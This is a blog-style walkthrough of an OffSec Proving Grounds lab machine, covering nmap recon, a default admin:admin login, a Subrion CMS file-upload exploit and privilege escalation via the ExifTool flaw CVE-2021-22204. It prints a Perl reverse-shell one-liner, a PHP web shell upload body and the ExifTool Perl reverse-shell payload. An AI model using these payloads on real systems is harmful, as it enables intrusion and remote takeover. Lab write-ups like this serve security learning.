The first machine captured on OffSec Proving Grounds

So I paid for OffSec…

Today I started doing OffSec machines on Proving Grounds. The first machine that I solved was called “Exfiltrated”. Basically, this machine is about exploiting ExifTool vulnerability that can cause a privilege escalation.

An all seeing eye

Like a member of the Illuminati, I started a scan with nmap. The output is quite interesting because it parsed the robots.txt file and allowed me to see some disallowed entries:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
Starting Nmap 7.95 ( https://nmap.org ) at 2025-09-27 15:48 EDT
Warning: 192.168.221.163 giving up on port because retransmission cap hit (2).
Nmap scan report for 192.168.221.163
Host is up (0.081s latency).
Not shown: 64261 closed tcp ports (reset), 1272 filtered tcp ports (no-response)
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.2 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 3072 c1:99:4b:95:22:25:ed:0f:85:20:d3:63:b4:48:bb:cf (RSA)
| 256 0f:44:8b:ad:ad:95:b8:22:6a:f0:36:ac:19:d0:0e:f3 (ECDSA)
|_ 256 32:e1:2a:6c:cc:7c:e6:3e:23:f4:80:8d:33:ce:9b:3a (ED25519)
80/tcp open http Apache httpd 2.4.41 ((Ubuntu))
| http-robots.txt: 7 disallowed entries
| /backup/ /cron/? /front/ /install/ /panel/ /tmp/
|_/updates/
|_http-server-header: Apache/2.4.41 (Ubuntu)
|_http-title: Did not follow redirect to http://exfiltrated.offsec/
Device type: general purpose
Running: Linux 5.X
OS CPE: cpe:/o:linux:linux_kernel:5
OS details: Linux 5.0 - 5.14
Network Distance: 4 hops
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

TRACEROUTE (using port 199/tcp)
HOP RTT ADDRESS
1 81.73 ms 192.168.45.1
2 81.72 ms 192.168.45.254
3 81.69 ms 192.168.251.1
4 81.45 ms 192.168.221.163

OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 321.21 seconds

Ok. To be honest, I have never interacted with this CMS (Subron CMS), and I have no idea what’s happening here, but I’m quite sure that /panel/ and /backup/ will be interesting. When I tried to enter the website with Firefox, it tried to redirect me to [http://exfiltrated.offsec/](http://exfiltrated.offsec/)URL. Ok, now I have to add a new entry in the/etc/hosts` file, and you have no idea how often I forget IP addresses!!!

After I made a connection, I quickly saw the sign in and sign up sections. Of course I tried to create an account, and actually I managed to create SEVERAL accounts. Now you’re going to ask why I made several accounts. Well… none of them actually worked. I had to go to /panel/. It was a sign-in page for the admin of the website. Kind of like the WordPress login page on /wp-login.php. I have this magical methodology: If a website has a CMS on it, don’t try directory brute force. I just went with credential guessing, and you’ll NEVER guess what the username and password were. It goes like this: admin:admin. I’m dead serious. I was the admin, but I saw no flag. Alright, maybe the flag can be taken from the shell. So I started looking for exploits. I know the version from the whatweb command:

1
http://exfiltrated.offsec [200 OK] Apache[2.4.41], Bootstrap, Cookies[INTELLI_06c8042c3d], Country[RESERVED][ZZ], HTML5, HTTPServer[Ubuntu Linux][Apache/2.4.41 (Ubuntu)], IP[192.168.221.163], JQuery, MetaGenerator[Subrion CMS - Open Source Content Management System], Open-Graph-Protocol, PoweredBy[Subrion], Script, Title[Home :: Powered by Subrion 4.2], UncommonHeaders[x-powered-cms], X-UA-Compatible[IE=Edge]

Now I can just search the exploit with searchsploit. This is what I have found:

1
2
3
4
5
6
7
8
9
10
11
12
13
┌──(kali㉿kali)-[~/Desktop/Exfiltrated]
└─$ searchsploit Subrion 4.2
---------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- ---------------------------------
Exploit Title | Path
---------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- ---------------------------------
Subrion 4.2.1 - 'Email' Persistant Cross-Site Scripting | php/webapps/47469.txt
Subrion CMS 4.2.1 - 'avatar[path]' XSS | php/webapps/49346.txt
Subrion CMS 4.2.1 - Arbitrary File Upload | php/webapps/49876.py
Subrion CMS 4.2.1 - Cross Site Request Forgery (CSRF) (Add Amin) | php/webapps/50737.txt
Subrion CMS 4.2.1 - Cross-Site Scripting | php/webapps/45150.txt
Subrion CMS 4.2.1 - Stored Cross-Site Scripting (XSS) | php/webapps/51110.txt
---------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- ---------------------------------
Shellcodes: No Results

The most interesting has to be the third one. There is no need for XSS during most CTFs (about 99.99% of them), and in this scenario there is no need for CSRF so it has to be the Arbitrary File Upload exploit. I took it and ran it. It has to have several parameters in order to work:

1
python3 /usr/share/exploitdb/exploits/php/webapps/49876.py -u http://exfiltrated.offsec/panel -l admin -p admin

Alright. I have a webshell, which doesn’t work. I don’t know why, but when I try to run a command, I just get the HTML of the webpage as the output. There is no command output injected in the code. This means I have to get a reverse shell.

The shell that walks backwards

Alright. I went here and searched for Perl reverse shell. This is the exact payload that I used against this machine:

1
perl -MIO -e '$p=fork;exit,if($p);$c=new IO::Socket::INET(PeerAddr,"192.168.45.198:4444");STDIN->fdopen($c,r);$~->fdopen($c,w);system$_ while<>;'

At the same time, I was listening on the 4444/tcp port locally in order to get the shell. REMEMBER! Always obtain a prompt after getting a reverse shell. This can be simply done by using Python and then exporting the $TERM variable in a shell:

1
python3 -c 'import pty;pty.spawn("/bin/bash")'; export TERM=xterm-256color

After I run that little command I went from LITERAL NOTHINGNESS to this:

1
www-data@exfiltrated:/var/www/html/subrion/uploads$

Personally, I think this is much better than having no prompt. How are you even working like that?

Alright, I have obtained the shell, but I have a problem. I’m www-data instead of root and this makes me mad. I decided to upload [linpeas.sh](http://linpeas.sh) the script from my local machine to the target. After that I ran the script and discovered an interesting script called [image-exif.sh](http://image-exif.sh). It was located in the /opt/ directory. This is the content of that file:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
#! /bin/bash
#07/06/18 A BASH script to collect EXIF metadata

echo -ne "\\n metadata directory cleaned! \\n\\n"


IMAGES='/var/www/html/subrion/uploads'

META='/opt/metadata'
FILE=`openssl rand -hex 5`
LOGFILE="$META/$FILE"

echo -ne "\\n Processing EXIF metadata now... \\n\\n"
ls $IMAGES | grep "jpg" | while read filename;
do
exiftool "$IMAGES/$filename" >> $LOGFILE
done

echo -ne "\\n\\n Processing is finished! \\n\\n\\n"

As the description of this machine said, I have to exploit this. I searched for ExifTool exploits and found one here. After that I ran the script:

1
python3 exploit.py 192.168.45.198 5678

So now I have a new image.jpg file that I can upload from admin panel. But before I do that, I have to listen on port 5678/tcp in order to receive a connection. This is a second reverse shell, man, what the hell.

When I uploaded this image ncat which was listening on port 5678/tcp actually received a connection. I ran the whoami command to make sure I was the root user and not some weird user created for a web server. I WAS ROOT! I found a proof.txt file, which obviously was a flag.

Then I went to the /home/coaran/ directory and found the local.txt file, which was the user flag. So I submitted both flags and finally solved the challenge.

What went wrong and why?

During the challenge I faced several problems. I always hated Exploit-DB problems because they never ran correctly and always had errors. I think people who upload on that platform don’t actually know how to write clean code that works. Oh, also, most of the code that you see there is Python2 which died before Cleopatra was even born. My frustration during these CTFs is that I always face exploits that were written by stupid people! Imagine not being able to correctly handle errors in your code. Why are you doing that to me? Can’t you write try/except blocks? It’s two lines of code. Mostly they don’t even add a manual on how to use the exploit!

I have to be honest, those two exploits had explanations (some), but what about the other million times?

CVE analysis

I would like to analyze CVEs that I used during this challenge. Here, I see the explanation of the vulnerability.

1
/panel/uploads in Subrion CMS 4.2.1 allows remote attackers to execute arbitrary PHP code via a .pht or .phar file, because the .htaccess file omits these.

Alright, the problem has to be with the .htaccess file that allows PHP to execute .pht or .phar files. The first file extension is a PHP script that contains HTML code. The second one is a PHP archive. I checked the /panel/uploads/ directory for this CMS, and it is the place where the admin user uploads files. I now understand why I failed at first. I’m not quite sure, but this has to be the explanation: I tried uploading files as a regular user (not from the admin panel login). When a normal user uploads a file, it doesn’t go to the /panel/uploads/ directory. It goes to somewhere else that is not vulnerable.

The exploit shows JSON data that’s being sent to the server.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
up_data = (
"-----------------------------6159367931540763043609390275\r\n"
"Content-Disposition: form-data; name=\"reqid\"\r\n\r\n"
"17978446266285\r\n"
"-----------------------------6159367931540763043609390275\r\n"
"Content-Disposition: form-data; name=\"cmd\"\r\n\r\n"
"upload\r\n"
"-----------------------------6159367931540763043609390275\r\n"
"Content-Disposition: form-data; name=\"target\"\r\n\r\n"
"l1_Lw\r\n"
"-----------------------------6159367931540763043609390275\r\n"
"Content-Disposition: form-data; name=\"__st\"\r\n\r\n"
f"{csrfToken}\r\n"
"-----------------------------6159367931540763043609390275\r\n"
"Content-Disposition: form-data; name=\"upload[]\"; filename=\"" + shell_name + ".phar\"\r\n"
"Content-Type: application/octet-stream\r\n\r\n"
"<?php system($_GET['cmd']); ?>\n\r\n"
"-----------------------------6159367931540763043609390275\r\n"
"Content-Disposition: form-data; name=\"mtime[]\"\r\n\r\n"
"1621210391\r\n"
"-----------------------------6159367931540763043609390275--\r\n"
)

Alright. "<?php system($_GET['cmd']); ?>\n\r\n" This is malicious PHP code that’s being uploaded to the server. It means I can use ?cmd= parameter from the web to run commands on the target machine.

The second CVE that I used was CVE-2021-22204. When ExifTool was being run during image upload, it was possible to inject PERL code inside:

1
Improper neutralization of user data in the DjVu file format in ExifTool versions 7.44 and up allows arbitrary code execution when parsing the malicious image

This was the description of this CVE. Here, you can see the full exploit. On line 847 there is an interesting part:

1
2
3
payload = b"(metadata \"\c${use MIME::Base64;eval(decode_base64('"
payload = payload + b64encode(f"use Socket;socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp'));if(connect(S,sockaddr_in({port},inet_aton('{ip}')))){{open(STDIN,'>&S');open(STDOUT,'>&S');open(STDERR,'>&S');exec('/bin/sh -i');}};".encode())
payload = payload + b"'))};\")"

This is the command that’s being injected into ExifTool through the image that we upload. After payload configuration, this script runs several system commands that finally create a malicious image.jpg file. When I uploaded the image as administrator, it went to ExifTool and when it started processing the image, PERL code was injected. bcode variable is interesting. I think injection happens because of many A characters that it has inside. From line 526 to line 779 there are only A characters that have to be a padding for the injection.